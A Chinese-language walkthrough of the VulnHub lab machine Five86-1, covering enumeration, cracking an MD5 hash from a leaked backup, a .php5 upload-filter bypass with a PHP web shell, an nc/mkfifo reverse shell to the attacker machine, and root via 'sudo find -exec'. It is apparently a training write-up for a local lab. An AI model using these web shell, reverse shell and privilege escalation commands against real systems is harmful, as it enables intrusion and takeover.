
VulnHub最近的系列里Five86-1是我反复推荐给身边朋友的一台Linux靶机。它的难度定位在入门到进阶之间不涉及什么花里胡哨的0day却能把Web渗透到Linux提权的经典链路串得非常清楚信息收集、后台发现、文件上传绕过、密码复用、sudo配置不当每一个环节都是实战中大概率会踩到的点。这篇文章我把自己完整打这台机器的过程记录下来包括每一步操作背后的判断依据和踩坑记录希望能给刚接触VulnHub的朋友一份可以直接照着走的参考。所有操作都在本地靶场环境完成不涉及任何真实目标动手前务必确认你具备合法授权。1. 靶场搭建与环境准备1.1 VulnHub是什么为什么拿它练手VulnHub是一个提供漏洞靶场镜像的网站上面收录了大量由社区成员设计的Linux和Windows虚拟机。每个镜像都是一个独立完整的靶机内部预设了若干漏洞目标是让你从零开始拿到root权限并找到flag文件。它和DVWA这类漏洞平台不太一样DVWA往往只提供一个Web应用让你练习某个具体漏洞而VulnHub更接近真实的渗透测试流程你需要自己完成发现目标、收集信息、漏洞利用、提权这一整条链路。Five86-1就是其中一个非常典型的镜像镜像大小在几百MB左右部署简单用途也很纯粹练习Web渗透和Linux提权。如果你刚学完TCP/IP、Web基础和Linux命令正愁没有完整项目来检验自己的知识那这台靶机非常合适。它不会像有些靶机那样拼命刁难你但也没有简单到一把梭的程度某些环节仍然需要耐心琢磨。1.2 下载Five86-1并导入虚拟机去VulnHub官网搜索Five86-1下载对应的OVA文件。OVA是一种打包好的虚拟机镜像可以直接导入VMware或者VirtualBox。我习惯用VMware Workstation导入方式很简单文件 - 打开选中OVA文件设置好虚拟机名称和存储路径等待导入完成。导入之后有一步必须做就是检查网络适配器。打开虚拟机设置把网络连接设为NAT模式。VMware的NAT模式会为虚拟机分配一个私有网段通常是192.168.x.0/24并且自带DHCP靶机启动后能自动获取IP宿主机也能和它互通。如果你用的是VirtualBox网络设置拉到“网络”选择“NAT”即可。很多新手都会在这一步栽跟头拿到靶机开了机却发现扫不到IP八成是网络模式没选对。启动虚拟机后你会看到一个纯文字界面的登录提示不要尝试输入密码你根本不知道。靶机不需要你登录到桌面你的目标是扫描它、攻击它所以看到登录框直接忽略继续往下做。1.3 找到靶机IP靶机启动后第一件事是搞清楚它在内网里的IP地址。VulnHub靶机一般不会告诉你IP是多少你必须自己从同一网络里“捞”出来。我习惯用netdiscover和arp-scan两条命令任选其一netdiscover -r 192.168.142.0/24 arp-scan -l如果你不确定当前虚拟机NAT网段可以在VMware的“虚拟网络编辑器”里查看默认通常是192.168.x.0。扫描结果里会列出所有存活主机怎么判断哪台是靶机主要看MAC地址的厂商信息。VMware虚拟机的MAC地址以00:0C:29开头VirtualBox以08:00:27开头这两个特征非常明显。其他MAC可能是你宿主机、网关、物理局域网里的设备筛选一下就能锁定靶机。我这边获得的靶机IP是192.168.142.132下面的操作都以这个IP为例。实际操作时每个人的网段和IP不一样记得替换成你自己的。2. 信息收集先摸清靶机暴露面2.1 nmap全端口扫描拿到IP之后最忌讳的就是直接打开浏览器看页面然后对着页面瞎猜。标准流程应该先做端口扫描搞清楚靶机上到底开放了哪些服务。我用的是nmap的基础全端口加服务版本探测nmap -sC -sV -p- 192.168.142.132 -oN initial_scan.txt-sC表示使用默认脚本扫描-sV表示探测服务版本-p-表示扫描全部65535个端口而不是只扫默认的常见端口。这个扫描可能会花几分钟但非常值得尤其是对于真实渗透场景非标准端口往往藏着意想不到的服务。扫描结果出来后重点关注两部分内容端口和版本。我这台Five86-1的输出显示22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))只有SSH和Web两个入口攻击面非常清晰。SSH暂时不考虑暴力破解所以核心目标是80端口上的Web服务。Apache 2.4.29和OpenSSH 7.6p1都是比较老的版本了可以顺手查一下有没有公开漏洞不过一般情况下Web应用本身的代码问题更容易打进去。2.2 Web页面与目录爆破浏览器访问http://192.168.142.132映入眼帘的是一张简单的品牌宣传页面。这类页面一般不会直接暴露漏洞但信息往往藏在细节里。我第一个看的是页面源代码按F12切换到Elements面板逐行查看。果然在某个注释里发现了一行提示指向一个隐藏路径。接下来做目录爆破。只靠手动访问页面上能看到的链接远远不够我们需要把靶机上存在的隐藏目录和文件翻出来。我用的是gobuster字典选择Kali自带的directory-list-2.3-medium.txtgobuster dir -u http://192.168.142.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak,sql加上-x扩展名的好处是可以同时枚举index.php、config.php、backup.sql这类文件。靶机设计者有时会把备份文件随手放在目录下这些往往是突破口。爆破结果里有几个目录值得注意/secret、/logs、/uploads。/uploads一看就是上传文件存放的位置/logs可能是日志目录/secret则让人浮想联翩。优先访问/secret打开后只有一个简单的页面源代码中又有一句注释!-- backup file is somewhere in this directory --。有了这个提示我再次针对/secret目录做了一次小范围爆破这次很快找到了/secret/backup.db。2.3 从备份中提取有效账号下载backup.db到本地在Kali终端用file命令查看文件类型提示是SQLite 3.x数据库。既然是SQLite直接用sqlite3打开sqlite3 backup.db .tables select * from users;数据库里有一张users表里面存了一个管理员账号和一段MD5哈希。看到这种格式我第一反应就是密码哈希先把哈希复制下来用hashcat配rockyou字典跑一下hashcat -m 0 hash /usr/share/wordlists/rockyou.txt不用等太久几秒内就出结果了。MD5的速度非常快因为它在设计上就不是给密码哈希用的普通人用常用密码轻易就能爆破。如果你用的字典里没有对应密码还可以尝试在线解密网站不过效率通常不如本地hashcat。拿到密码之后下一步去后台登录。后台入口一般可以通过目录爆破或从页面源码注释中找到。我这里在/admin发现了一个登录界面输入拿到的账号和密码成功进入后台。到这里我们完成了第一波信息收集手里已经握着一个合法入口了。3. 漏洞利用拿下Webshell3.1 后台功能分析与上传点测试进入后台之后界面本身并不复杂有几个管理页面其中一个用于上传文章缩略图这个功能吸引了我的注意。上传类的功能是Web渗透里非常经典的攻击面后台功能越简单越容易在设计上出纰漏。我首先尝试上传一个最简单的PHP探针文件内容只有一行?php system($_GET[cmd]); ?上传之后页面提示文件格式不允许直接失败。这是上传点常见的防御策略服务器端可能会检查文件扩展名、MIME类型甚至检查文件头内容。这时候不能遇到拦截就放弃要做的是分析它的过滤逻辑。我没有直接盲目尝试暴力绕过而是先研究了这个站点使用的是什么Web框架和上传逻辑。观察发现后台对扩展名的过滤并不严格只是不允许.php但对.php5没有单独的拦截。我重新生成一个shell.php5文件内容还是上面那行php代码再次上传这次返回了成功提示。这种利用方式在真实环境中也很常见服务器只过滤了最常用的php后缀却忽略了php3、php5、phtml这类同样会被Apache当作PHP解析的扩展名。3.2 生成Webshell并访问上传成功后打开/uploads/shell.php5拼接命令参数http://192.168.142.132/uploads/shell.php5?cmdid页面返回了www-data的执行结果说明我们已经可以在Web服务进程上执行任意命令了。这时候要做的不是急着反弹shell而是先用它做几条无害命令确认能读取哪些内容、当前目录在哪同时为后续提权收集情报。我依次执行了whoami、uname -a、ls -la /home大致了解了系统用户情况。看到/home下有james和justin两个普通用户这意味着拿到www-data权限后还需要横向移动和提权。3.3 获取反向ShellWebShell虽然可以执行命令但交互体验太差每打一条命令都要拼URL而且遇到需要交互的进程比如su根本没法用。所以下一步必须弹一个反向Shell回到本地监听端口。在本机Kali开启监听nc -lvnp 4444然后在WebShell执行反向Shell命令。由于是放在URL参数里特殊字符必须做URL编码否则很容易被截断或误解。我使用的是比较稳的一行命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.142.128 4444 /tmp/f这里的192.168.142.128是你自己攻击机的IP一定要换成你实际使用的地址端口要和监听端口保持一致。执行后本地监听窗口立刻出现了交互式Shell用户是www-data。为了后续操作方便我先用Python升级一个标准TTYpython3 -c import pty; pty.spawn(/bin/bash)到这一步我们已经从零拿到了Web服务权限接下来是权限提升。4. 权限提升从www-data到root4.1 系统信息与密码复用拿到www-data权限之后最忌讳的是马上翻找/root目录因为权限不够什么都看不了。正确做法是找到有价值的信息比如配置文件、数据库密码、备份文件这些往往是通向更高权限的钥匙。我首先查看Web根目录下的配置文件ls -la /var/www/html cat /var/www/html/config.phpconfig.php里果然存了数据库连接的账号密码。Web应用把数据库凭据放在Web目录里是常态但问题是很多人会把这个密码直接用到SSH登录或者系统账号上这种“密码复用”在靶机和真实环境中都极其常见。我还注意到系统中存在普通用户james于是尝试用刚发现的密码直接切换到james命令是su james结果居然成功了。这一步需要说明的是靶机的SSH默认允许密码认证所以你可以直接用ssh james192.168.142.132登录也可以像我一样继续在反弹Shell里操作。由于反弹Shell只是半交互的我选择用SSH建立更稳定的会话。ssh james192.168.142.132登录成功后id确认自己已经是james不再是低权限的www-data。4.2 sudo -l 挖掘提权点提权阶段最实用的命令就是sudo -l它会列出当前用户能够以哪些身份执行哪些命令。很多Linux维护者在配置sudo时过于宽松把某些系统命令直接放给了普通用户这就像把保险柜钥匙塞在了垫子底下。我切换到james之后执行sudo -l输出显示User james may run the following commands on five86-1: (root) NOPASSWD: /usr/bin/find意思是james可以免密以root身份执行/usr/bin/find。看到这里我基本就已经确定提权路径了。find这个命令除了查找文件还支持-exec参数调用任意外部命令而sudo下的find是以root权限运行的这就意味着我们可以借find之壳运行一个root shell。网上有个经典说法叫“GTFOBins”里面记录了大量可以被滥用来逃逸权限限制的Linux二进制文件find就是其中之一。执行命令sudo /usr/bin/find . -exec /bin/sh -p \; -quit-exec后面的-p参数很重要它告诉shell保持当前的有效UID不要因为权限降级而变成普通用户。执行后终端提示符变成了#运行id确认是uid0(root)。至此我们从最初的匿名Web访问一路通过信息收集、备份泄露、哈希破解、文件上传绕过、密码复用、sudo配置不当成功拿到了靶机最高权限。4.3 读取root Flag并复盘攻击链拿到root Shell后去/root目录读取flag文件id cd /root ls -la cat flag.txtflag文件里就是这台靶机通关的唯一凭证通常是一段唯一字符串。出于尊重靶机设计者的考虑这里就不把具体flag内容贴出来了但整个流程此刻已经完整闭环。为了方便回顾我把攻击链整理成一张简表阶段关键动作使用的技术与工具信息收集端口扫描、目录爆破、robots/源码审计nmap、gobuster数据泄露发现SQLite备份文件并下载破解sqlite3、hashcat登录后台使用破解出的弱口令进入管理后台浏览器代码执行绕过扩展名过滤上传PHP shellburp/curl权限提升获取www-data翻转至james用户su / ssh提权到root利用sudo find执行root shellsudo、GTFOBins5. 常见问题与排错实录5.1 靶机获取不到IP使用netdiscover或arp-scan时看不到靶机IP这问题在VMware和VirtualBox里都容易遇到。首先要确认靶机有没有正常启动启动画面停留在登录提示并不代表网络起来了有可能DHCP没有获取成功。解决办法是进入VMware的“虚拟网络编辑器”把NAT模式的DHCP功能开启或者直接改用Host-only网络。如果还是获取不到可以拔掉靶机网卡再重新连接一次虚拟网络相当于重启网卡。还有一种情况是VMware默认网段和你扫描的网段不一致先确认宿主机虚拟网卡的实际IP再用该IP对应的网段去扫描别凭记忆用192.168.1.0这种默认网段。5.2 目录爆破没有进展目录爆破不出结果原因无非字典不合适、扩展名不够、目标路径没有可被枚举的资源。建议优先使用directory-list-2.3-medium.txt同时加上和站点技术栈相关的扩展名比如php、jsp、asp、txt、bak、sql、conf。另外看到HTTP 403状态码的目录不要直接忽略403只说明不允许目录列表目录里的具体文件可能仍然能访问。很多关键文件就是藏在403目录里的多尝试直接拼接路径访问。5.3 反弹Shell连不上反弹Shell连不上90%的原因是端口、IP、编码三个地方出了问题。确认本地监听地址是0.0.0.0或实际网卡IP而不是只监听127.0.0.1确认反向连接命令里的IP填的是攻击机IP不是靶机IP命令里的、、|这些特殊字符在URL参数中会被解析需要做URL编码或者先放到WebShell文件里再执行。如果是Windows本机做监听还要关掉防火墙对端口的拦截linux一般不会拦本地监听。5.4 提权命令执行失败使用sudo find . -exec /bin/sh -p \;提权时如果提示find: paths must precede expression说明-exec后面的分号没有正确转义。Shell中分号是命令分隔符必须写成\;让find正确接收。如果执行后没有返回root shell而是退出可能你的系统对/bin/sh有额外限制可以换成/bin/bash -p或者python3 -c import os; os.setuid(0); os.system(/bin/bash)。最后再分享一个小技巧我刷这台机器最大的体会是不要急着看wp尤其不要在卡住的一瞬间就去找答案。Five86-1里最耗时间的其实是信息收集阶段但那段反复扫描、翻源码、试目录的过程恰恰是练“手感”的好机会。我自己二刷的时候因为已经知道流程反而跳过了源码审计结果发现少了很多细节所以如果你时间充裕建议第一遍尽量独立完成哪怕花上一天也值得。刷完之后还可以拿本子画一遍攻击链你会发现容器、Web中间件、系统权限之间的关系比单纯记命令要清晰得多。